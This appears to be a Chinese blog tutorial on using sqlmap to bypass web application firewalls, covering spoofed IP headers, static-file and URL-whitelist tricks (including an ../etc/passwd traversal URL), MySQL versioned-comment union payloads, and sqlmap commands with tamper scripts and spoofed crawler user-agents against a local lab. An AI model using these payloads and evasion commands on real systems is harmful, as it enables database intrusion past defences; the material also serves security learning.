sql注入-08 sqlmap绕过waf

sqlmap绕过waf

1、绕过的方法–白名单

方式一:ip白名单

从网络层tcp、udp获取的ip,这种一般伪造不来。
如果是通过脚本获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for 
x-remote-IP 
x-originating-IP 
x-remote-addr 
x-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),
类似白名单机制,waf为了检测 效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1 
http://10.9.9.201/sql.php/1.js?id=1 
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。
只要url中存在 白名单的字符串,就作为白名单不进行检测。
常见的url构造姿势: http://10.9.9.201/sql.php/admin.php?id=1 
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要url中存在/manage/就作为白名单不进行检测,
这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单

部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种: 
1、根据useragent 
2、通过行为来判断 UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent switcher (Firefox附加组 件):
下载地址: https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/

2、利用数据库特性

这里展示利用mysql的数据库特性进行注入:

  • 通过插入版本号:/!版本号/
%20union%20/*!44509select*/%201,2,3 
/*!44509select*/:通过插入版本号(4.45.09), 绕过检测机制

%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号
%20union%20all%23%0a%20select%201,2,3%23

3、利用sqlmap的自带脚本或自写脚本

sqlmap会自带一些绕过脚本,在tamper文件夹下:

image-20211117171945872

也可以自己添加Python脚本,利用tamper参数:–temp=脚本文件名来调用:

D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py

4、设置sqlmap的随机头部

因为waf一般能检测出sqlmap的自带头部:sqlmap/1.4.7 (http://sqlmap.org),从而进行拦截。所以要设置随机头部,利用**–random-agent**:

D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent

若要进行抓包查看数据,则添加代理参数**–proxy**=http://127.0.0.1:8888 ,可通过抓包工具进行抓包:

D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent --proxy=http://127.0.0.1:8888

5、采用工具注入被拉黑的解决措施

  • 方法一:采用延时注入

    D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --random-agent --proxy=http://127.0.0.1:8888 --delay 1
    

    改善时间过快,导致流量过大被拦截的问题。

  • 方法二:采用代理池

  • 方法三:换用搜索引擎的user-agent

    D:\Python\sqlmap>Python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=2" --tamper=base64encode.py --user-agent="
    Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --proxy=http://127.0.0.1:8888
    

    这里用了百度搜索的user-agent,各搜索引擎的user-agent可参考这篇文章:https://blog.csdn.net/Jack0610/article/details/112896700

  • 0
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值